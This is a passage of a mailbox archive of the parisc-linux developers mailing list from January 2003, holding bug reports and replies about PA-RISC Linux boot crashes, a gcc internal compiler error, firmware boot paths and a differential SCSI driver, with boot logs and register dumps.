Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 4B1374829; Fri,  3 Jan 2003 18:55:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <001b01c2b374$4f810930$a87ba8c0@steve>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17246

On Fri, Jan 03, 2003 at 02:06:02PM -0800, Steve Cornett wrote:
> I booted the Debian 3.0r1 CD 1 on my generic B1000 and it crashed.
...
> System Responder Address     = 0xfffffffffed10200
> System Requestor Address     = 0xfffffffffffa0000

"Requestor" is the CPU.
/proc/iomem on my c3k shows "fed00000-fed00fff : SBA" but nothing for
0xfed10200.

...
> Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16 17:09:00 MST 2002

Any chance this could upgraded to at least a 2.4.19?
Or will the new "BF" images Richard posted do that?
(http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018746.htm)
Steve, can you try the beta Boot Floppies?


> 7. Memory (1) at 0xfed10200 [49], versions 0x87, 0x0, 0x9

erm, someone tried to reference the memory controller?

hth,
grant


From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc 3.2 ICE
Date: Fri, 3 Jan 2003 23:24:05 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030104062405.GB9826@cranston.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622067 19341 80.91.229.3 (22 Nov 2014 02:07:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:47 +0000 (UTC)
Cc: lamont@hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  3 23:24:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE1E54829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Jan 2003 23:24:08 -0700 (MST)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel6.hp.com (Postfix) with ESMTP id 38AD213C0
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 01:24:03 -0500 (EST)
Original-Received: by security.hp.com (Postfix, from userid 23683)
	id DA40712133; Fri,  3 Jan 2003 23:24:05 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17247

This is a build log with a gcc 3.2 ICE..
http://buildd.debian.org/fetch.php?&pkg=xine-lib&ver=1-beta2-3&arch=hppa&stamp=1041582169&file=log&as=raw

It would appear that the gcc version used is:
    gcc-3.2_1:3.2.2ds3-0pre3

If that helps anyone...

(The maintainer switched over to gcc-3.2 when 3.0 was ICE'ing, but that
didn't fix the problem.)
 
gcc-3.2 -DHAVE_CONFIG_H -I. -I. -I../../.. -I../../.. -I../../../include -I../../../include -I../../../src -I../../../src/xine-engine -I../../../src/xine-engine -I../../../src/xine-utils -Wall -D_REENTRANT -D_FILE_OFFSET_BITS=64 -DXINE_COMPILE -O3 -I/usr/include/kde/artsc -c rpe.c -MT rpe.lo -MD -MP -MF .deps/rpe.TPlo  -fPIC -DPIC -o rpe.lo
rpe.c: In function `APCM_quantization':
rpe.c:422: internal error: Segmentation fault
Please submit a full bug report,
with preprocessed source if appropriate.

If anyone wants, I'm happy to do the preprocessing, but I'll be heading out
of town Sunday for a week, and Saturday is understandably swamped...

lamont


From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steve Cornett" <stevec@bullseye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B1000 Debian 3.0r1 High-Priority Machine Check
Date: Sat, 4 Jan 2003 10:07:59 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <000001c2b41c$37348cf0$a87ba8c0@steve>
References: <20030104015526.GB29245@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622068 19342 80.91.229.3 (22 Nov 2014 02:07:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:48 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 11:08:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sccrmhc03.attbi.com (sccrmhc03.attbi.com [204.127.202.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6EB8482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 11:08:04 -0700 (MST)
Original-Received: from steve (12-231-69-15.client.attbi.com[12.231.69.15])
          by sccrmhc03.attbi.com (sccrmhc03) with SMTP
          id <2003010418075800300lc7fde>; Sat, 4 Jan 2003 18:07:58 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
In-Reply-To: <20030104015526.GB29245@dsl2.external.hp.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17248

> Steve, can you try the beta Boot Floppies?
My B1000 cannot seem to boot from floppy.  I verified my floppy drive
works from HP-UX.  When I use the firmware command "boot floppy" I
immediately get the error shown below, without an attempt to read from
the floppy drive.

Firmware Version 5.0
...
Main Menu: Enter command > boot floppy
ERROR:  Not a boot path
Main Menu: Enter command > in
Information Menu: Enter command > io
I/O MODULE INFORMATION
 
IODC IODC
Path         Decimal     Type                  Location   HVER SVER
Vers Dep
------------ ----------- --------------------- ---------- ---- ----
---- ----
LAN          10/0/12/0   Ethernet              built-in   0050 a200
0x02 0x00
AUDIO        10/0/13/0   Audio                 built-in   
IDE          10/0/14/0   IDE                   built-in   0050 a300
0x00 0x00
SUPERIO MISC 10/0/14/1   Bridge Device         built-in   
FLOPPY       10/0/14/1/0 Floppy Disk           built-in   
SERIAL_1     10/0/14/1/1 RS232 Port            built-in   0050 8c00
0x01 0x00
SERIAL_2     10/0/14/1/2 RS232 Port            built-in   0050 8c00
0x01 0x00
PARALLEL     10/0/14/1/3 Parallel Port         built-in   
USB          10/0/14/2   USB                   built-in   0050 a900
0x98 0x00
SCSI         10/0/15/0   SCSI                  built-in   0050 a300
0x00 0x00
FWSCSI       10/0/15/1   SCSI                  built-in   0050 a300
0x00 0x00
GRAPHICS(2)  10/6/2/0    PCI_GRAFFITIX1024     slot 2     0070 8500
0x01 0x00

Main Menu: Enter command > boot 10/0/14/1/0

ERROR:  Not a boot path



From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000 Debian 3.0r1 High-Priority Machine Check
Date: Sat, 4 Jan 2003 19:35:15 +0100
Organization: ESIEE
Lines: 32
Approved: news@gmane.org
Message-ID: <20030104193515.19808d5a.varenet@esiee.fr>
References: <20030104015526.GB29245@dsl2.external.hp.com>
	<000001c2b41c$37348cf0$a87ba8c0@steve>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622068 19345 80.91.229.3 (22 Nov 2014 02:07:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:48 +0000 (UTC)
Cc: stevec@bullseye.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 11:35:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FA5A4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 11:35:26 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id h04IZFas009495;
	Sat, 4 Jan 2003 19:35:16 +0100
In-Reply-To: <000001c2b41c$37348cf0$a87ba8c0@steve>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17249

On Sat, 4 Jan 2003 10:07:59 -0800
"Steve Cornett" <stevec@bullseye.com> wrote:

> > Steve, can you try the beta Boot Floppies?
> My B1000 cannot seem to boot from floppy.  I verified my floppy drive
> works from HP-UX.  When I use the firmware command "boot floppy" I
> immediately get the error shown below, without an attempt to read from
> the floppy drive.
Of course, there is no floppy support.

The "Boot Floppies" are the "boot images" if you prefer. They can be used on CD or any other media support.

Perhaps you should take a look at the PA-RISC/Linux Boot HOWTO:
http://pateam.esiee.fr/doc.html

You'll find there useful info on various way to boot Linux on an hppa box (like from network, which is what I would recommend here).

Can you eventually try one of the 2.4.19 ISO or lifimage that you can find there:
http://pateam.esiee.fr/cd-images/testing/
http://pateam.esiee.fr/cd-images/lifimages/

Those are known to work on B1000. If they fail, then we may start looking for a problem related either to 3.0r1 CD or to your box (specific configuration ?)

HTH,

Greetings,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] do_page_fault() infinite loop running 2.4.20-pa18 #9 SMP
Date: Sat, 4 Jan 2003 14:38:15 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200301041938.h04JcFLn016387@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622068 19347 80.91.229.3 (22 Nov 2014 02:07:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 12:38:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99D634829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 12:38:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h04JcFot016389
	for <parisc-linux@lists.parisc-linux.org>; Sat, 4 Jan 2003 14:38:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h04JcFLn016387
	for parisc-linux@lists.parisc-linux.org; Sat, 4 Jan 2003 14:38:15 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17250

This has been around for awhile.  When using a SMP configuration, the
program expect "causes" a segmentation fault that results in do_page_fault()
going into an infinite loop.  The log data repeats indefinitely and
eventually fills /var.  For some reason, expect is not killed by the kernel
when this happens, although the loop can be broken by manually killing it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank van Gestel <fvgestel@mijn.mine.nu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp735 Differential SCSI
Date: Sat, 04 Jan 2003 21:02:41 +0100
Lines: 236
Approved: news@gmane.org
Message-ID: <3E173DE1.4090203@mijn.mine.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622069 19350 80.91.229.3 (22 Nov 2014 02:07:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 13:00:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sun2.gestelvan.nl (d107214.upc-d.chello.nl [213.46.107.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0391D4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 13:00:11 -0700 (MST)
Original-Received: from mijn.mine.nu (amd.gestelvan.nl [192.168.11.20])
	by sun2.gestelvan.nl (8.9.3/8.9.3) with ESMTP id VAA07191
	for <parisc-linux@lists.parisc-linux.org>; Sat, 4 Jan 2003 21:02:05 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17251

Hello,

I recently got my hands on a hp735, with some diskarrays connected to 
the differential scsi interface. I'm now trying get the kernel driver 
working. I read a lot of posts about it in the past and I found the 
outfield patch on the ftp-site.
After installing latest kernel sources and patch, I tried compiling a 
new kernel. This kernel resulted in crash. After some debugging I found 
out that the zalon address was used instead of the outfield, so I made 
the following change in zalon7xx.c :

hosts_used = zalon_attach(hosts_tptr, dev->hpa +
                (zalon?GSC_SCSI_ZALON_OFFSET:SCSI_OUTFIELD_OFFSET),
                dev, irq, zalon_id, !zalon /* outfield */);

Now the kernel detects the chip. It still crashes the kernel. After 
numerous hard resets and a lot of debugging lines, I got the 
boot-sequence shown below. I'm not a hardware guy  and know nothing 
about registerscripts, etc... Anybody else got ideas?...

Frank van Gestel

------------------------------------------------------

(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.

PDC ROM rev. 2.7
IODC ROM rev. 1.1
224 MB of memory configured and tested.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.1.0                 MICROP  1588-15MBSUN0669
P1                    scsi.0.0                 MAXTOR  LXT-213S SUN0207
P2                    fwscsi.6.0               SEAGATE ST32430W
P3                    lan.080020-11f7e6.0.0    sun2



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: b
Enter boot selection, (h)elp, or e(x)it: p3

Trying lan.080020-11f7e6.0.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Boot image contains:
    0/vmlinux32 3067289 bytes @ 0x8000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ root=/dev/sdb2 console=ttyS0 TERM=vt102 
palo_ke

rnel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 
32-bit kernel ELF32 executable
Entry 00100208 first 00100000 n 6
Segment 0 load 00100000 size 1836364 mediaptr 0x1000
Segment 1 load 002c2000 size 277984 mediaptr 0x1c2000
Segment 2 load 00308000 size 230992 mediaptr 0x206000
Segment 3 load 00344000 size 8192 mediaptr 0x23f000
Segment 4 load 00348000 size 32768 mediaptr 0x241000
Segment 5 load 00371984 size 93920 mediaptr 0x249984
Branching to kernel entry point 0x00100208.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.20-pa18 (root@hp735) (gcc version 3.0.4) #29 Sat Jan 4 
19:52:4

1 CET 2003
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00002060 00000481 00000000 00000000 00ce8116 ffffffff 00000004 
0000000a 0000000a
vers  00000016
model 9000/735
Total Memory: 224 Mb
pagetable_init
On node 0 totalpages: 57344
zone(0): 57344 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ root=/dev/sdb2 console=ttyS0 TERM=vt102 
palo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 124.51 BogoMIPS
Memory: 223996k available
Dentry cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode cache hash table entries: 16384 (order: 5, 131072 bytes)
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77
2. Outfield Core BA (11) at 0xf082f000 [2], versions 0x9, 0x0, 0x70
3. Outfield Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x9, 0x0, 0x71
4. Outfield Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 0x9, 
0x0, 0x72
5. Outfield Core HIL (10) at 0xf0821000 [2/0/3], versions 0x9, 0x0, 0x73
6. Outfield Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x9, 0x0, 0x75
7. Outfield Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x9, 0x0, 0x75
8. Outfield Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x9, 
0x0, 0x74
9. Outfield FW SCSI (10) at 0xf0830000 [2/0/7], versions 0x9, 0x0, 0x7c
10. Outfield Audio (10) at 0xf1000000 [2/0/8], versions 0x9, 0x0, 0x7f
11. Cobra EISA BA (11) at 0xfc000000 [4], versions 0x4, 0x0, 0x76
12. Snake Cheetah (735/130) (0) at 0xfffbe000 [8], versions 0x206, 0x0, 0x4
13. Memory (1) at 0xfffbf000 [9], versions 0x37, 0x0, 0x9
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
EISA EEPROM at 0xf0810400
Enumerating EISA bus
EISA slot 1: HWP1850 EISA IRQ 3
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f8000000, hpa at f8000000
STI id 26d1482a-40a00499, conforms to spec rev. 8.02
STI device: HPA1659A
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 26d1482a, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with no serial options enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 8C 45 7C IRQ 87.
82596.c $Revision: 1.30 $
SCSI subsystem driver Revision: 1.00
scsi_register_host: tttt1
scsi_register_host: tttt2
zalon7xx_detect: ttt1
zalon_attach
ncr53c8xx: 
setup=disc:y,specf:3,tags:8,sync:12,burst:7,wide:y,diff:0,revprob:n,b

uschk:0x1
ncr53c8xx: 
setup=mpar:y,spar:y,fsn=n,verb:0,debug:0x0,led:n,settle:2,irqm:0x0,nv

ram:0x1,pcifix:0x0
io_port:F0830100
ncr53c8xx: 53c720 detected
ncr_attach
ncr_prepare_setting
ncr_init_burst
ncr_init_burst
ncr_name
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr_prepare_setting
ncr_script_fill start
ncr_script_fill end
ncr_script_copy_and_bind start
ncr_script_copy_and_bind end
ncr_script_copy_and_bind start
ncr_script_copy_and_bind end
ncr_chip_reset start
ncr_chip_reset end
ncr_snooptest start
ncr_regtest start
ncr_regtest end
do_big_flush start
do_big_flush end
/* instruction  OUTL (nc_dsp, (v)) generates CPU exceptions : */
Trap 5 on CPU 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 102d012c 10109064 00000001
r04-07  1008e000 0008b244 00000000 10336810
r08-11  1008e034 00000000 00000002 000f4000
r12-15  00000001 000ff000 f0001420 00000000
r16-19  100556c0 08000058 c000c000 90000000
r20-23  00000000 00000001 28181da7 0000021b
r24-27  00000001 00000064 102d0230 102c0010
r28-31  00000000 00000005 10055900 1011fed8
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10109068 1010906c
 IIR: 2269f204    ISR: 00000000  IOR: 102d3800
 CPU:        0   CR30: 10054000 CR31: 10348000
 ORIG_R28: 103571ff

*/  After removing the instruction, the folllowing happens : */
ncr_chip_reset start
ncr_chip_reset end
CACHE TEST FAILED: timeout.
CACHE INCORRECTLY CONFIGURED.
ncr_name
ncr53c720-0: detaching...




From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] PATCH: add hwclock ioctls used in 2.4 for pa and in 2.5
Date: Sat, 4 Jan 2003 21:07:42 +0100 (MET)
Lines: 67
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0301042101070.10261-100000__21670.172076165$1416622069$gmane$org@vervain.sonytel.be>
References: <200301030232.h032WuM30725@hera.kernel.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622069 19352 80.91.229.3 (22 Nov 2014 02:07:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:49 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 13:08:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95B244829
	for <parisc-linux@parisc-linux.org>; Sat,  4 Jan 2003 13:08:34 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.27])
	by mail.sonytel.be (8.9.0/8.8.6) with ESMTP id VAA27153;
	Sat, 4 Jan 2003 21:07:42 +0100 (MET)
In-Reply-To: <200301030232.h032WuM30725@hera.kernel.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
